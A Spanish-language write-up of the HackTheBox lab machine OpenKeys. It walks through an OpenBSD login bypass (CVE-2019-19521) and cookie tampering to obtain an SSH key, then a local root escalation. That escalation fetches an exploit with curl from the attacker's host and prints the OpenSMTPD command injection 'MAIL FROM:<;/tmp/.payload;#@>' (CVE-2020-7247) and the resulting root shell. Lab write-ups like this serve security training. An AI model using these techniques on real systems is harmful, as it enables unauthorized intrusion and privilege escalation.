OpenKeys es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad media.
En este caso se trata de una máquina basada en el Sistema Operativo OpenBSD.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina Openkeys 10.10.10.199 a /etc/hosts como openkeys.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
# Nmap 7.70 scan initiated Sun Nov 29 15:56:04 2020 as: nmap -sC -p- -oA enumeration/nmap 10.10.10.199 Nmap scan report for 10.10.10.199 Host is up (0.051s latency). Not shown: 65533 closed ports PORT STATE SERVICE 22/tcp open ssh | ssh-hostkey: | 3072 5e:ff:81:e9:1f:9b:f8:9a:25:df:5d:82:1a:dd:7a:81 (RSA) | 256 64:7a:5a:52:85:c5:6d:d5:4a:6b:a7:1a:9a:8a:b9:bb (ECDSA) |_ 256 12:35:4b:6e:23:09:dc:ea:00:8c:72:20:c7:50:32:f3 (ED25519) 80/tcp open http |_http-title: Site doesn't have a title (text/html). # Nmap done at Sun Nov 29 16:15:25 2020 -- 1 IP address (1 host up) scanned in 1161.55 seconds |
En el caso de esta máquina sólo disponemos del puerto 80 por lo que comenzaremos investigando el portal web existente.
Enumeración
Comenzamos revisando el portal web en el puerto 80 y observamos la siguiente pantalla de login:
Probamos diferentes formas de intentar hacer un bypass y saltar el login pero no conseguimos nada por lo que enumeraremos la web con gobuster para ver si encontramos algún directorio o fichero más en el mismo.
Y encontramos lo siguiente:
1 2 3 4 5 6 |
/images (Status: 301) /css (Status: 301) /includes (Status: 301) /js (Status: 301) /vendor (Status: 301) /fonts (Status: 301) |
Revisamos cada uno de los directorios y encontramos dos ficheros en la ruta /includes, uno de los cuales es un backup de un fichero php cuyo contenido es el siguiente:
Por lo que descubrimos que un usuario se llama jennifer, aunque no conocemos todavía nada más al respecto para intentar acceder a través del formulario de login descubierto.
Revisamos en google y encontramos una vulnerabilidad existente a través de la cual se puede hacer un bypass del login en el siguiente post:
https://www.qualys.com/2019/12/04/cve-2019-19521/authentication-vulnerabilities-openbsd.txt
Y nos fijamos principalmente en el siguiente texto:
1 2 3 4 |
This is the second piece of the puzzle: if an attacker specifies the username "-schallenge" (or "-schallenge:passwd" to force a passwd-style authentication), then the authentication is automatically successful and therefore bypassed. |
Por lo que probamos el acceso y efectivamente, podemos saltar el login con el usuario -schallenge aunque este no dispone de ningún dato interesante.
Sabiendo que podemos saltarnos el login, utilizaremos ahora burp suite para intentar modificar la petición y acceder con el usuario jennifer:
Así que cazamos la petición y añadimos el valor username=jennifer en la cookie consiguiendo con ello saltar el login y acceder con el usuario jennifer consiguiendo así su clave ssh:
Ahora utilizaremos esta misma clave ssh para acceder a la máquina:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 |
ssh -i /root/.ssh/jennifer.pem jennifer@10.10.10.199 The authenticity of host '10.10.10.199 (10.10.10.199)' can't be established. ECDSA key fingerprint is SHA256:gzhq4BokiWZ1NNWrblA8w3hLOhlhoRy+NFyi2smBZOA. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.10.199' (ECDSA) to the list of known hosts. Last login: Wed Jun 24 09:31:16 2020 from 10.10.14.2 OpenBSD 6.6 (GENERIC) #353: Sat Oct 12 10:45:56 MDT 2019 Welcome to OpenBSD: The proactively secure Unix-like operating system. Please use the sendbug(1) utility to report bugs in the system. Before reporting a bug, please try to reproduce it with the latest version of the code. With bug reports, please try to ensure that enough information to reproduce the problem is enclosed, and if a known fix for it exists, include that as well. openkeys$ whoami jennifer openkeys$ |
Obteniendo la flag de user
Ahora que hemos conseguido acceder a la máquina con el usuario jennifer, nos vamos a la home de este y conseguimos nuestra flag de user:
1 2 3 4 5 6 |
openkeys$ ls -l total 4 -rw-r----- 1 jennifer jennifer 33 Jan 14 2020 user.txt openkeys$ cat user.txt 3xxxxxxxxxxxxxxxxxxxxxxxxxxx0 openkeys$ |
Primera parte realizada, así que ahora vamos a por root.
Escalado de privilegios
Para el escalado de privilegios, analizamos primero la versión del sistema operativo:
1 2 |
openkeys$ uname -a OpenBSD openkeys.htb 6.6 GENERIC#353 amd64 |
Revisamos en google y encontramos la vulnerabilidad CVE-2020-7247 a través de la cual podemos realizar un escalado de privilegios local a root.
Y encontramos en el repositorio de bcoles un script en bash para realizar esta tarea. Así que subimos nuestro exploit a la máquina:
1 2 3 4 |
openkeys$ curl http://10.10.14.16:1234/exploit --output exploit % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 2829 100 2829 0 0 19376 0 --:--:-- --:--:-- --:--:-- 19376 |
Le damos permisos de ejecución:
1 |
openkeys$ chmod +x exploit |
Y lo ejecutamos consiguiendo acceso como root:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
openkeys$ ./exploit OpenBSD 6.6 OpenSMTPD 6.6 local root exploit (CVE-2020-7247) [*] id: uid=1001(jennifer) gid=1001(jennifer) groups=1001(jennifer), 0(wheel) [*] checking system ... [*] directory /tmp/.payload is writable [*] 019_smtpd_exec patch has not been installed [*] writing payload to /tmp/.payload ... [*] executing /tmp/.payload ... <<< 220 openkeys.htb ESMTP OpenSMTPD >>> EHLO localhost <<< 250-openkeys.htb Hello localhost [local], pleased to meet you <<< 250-8BITMIME <<< 250-ENHANCEDSTATUSCODES <<< 250-SIZE 36700160 <<< 250 HELP >>> MAIL FROM:<;/tmp/.payload;#@> <<< 250 2.0.0 Ok >>> RCPT TO:<jennifer@openkeys.htb> <<< 250 2.1.5 Destination address valid: Recipient ok >>> DATA <<< 354 Enter mail, end with "." on a line by itself >>> . <<< 250 2.0.0 da08d3d3 Message accepted for delivery >>> QUIT <<< 221 2.0.0 Bye [*] cleaning up /tmp/.payload ... [*] connecting to 127.0.0.1:1337 ... Connection to 127.0.0.1 1337 port [tcp/*] succeeded! id uid=0(root) gid=0(wheel) groups=0(wheel) whoami root |
Obteniendo la flag de root
Ahora que somos root sólo nos queda ir a la home de este a conseguir nuestra flag:
1 2 3 4 |
ls -l /root/root.txt -r-------- 1 root wheel 33 Jan 12 2020 /root/root.txt cat /root/root.txt fxxxxxxxxxxxxxxxxxxxxxxxxxxxxa |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respeto en el siguiente enlace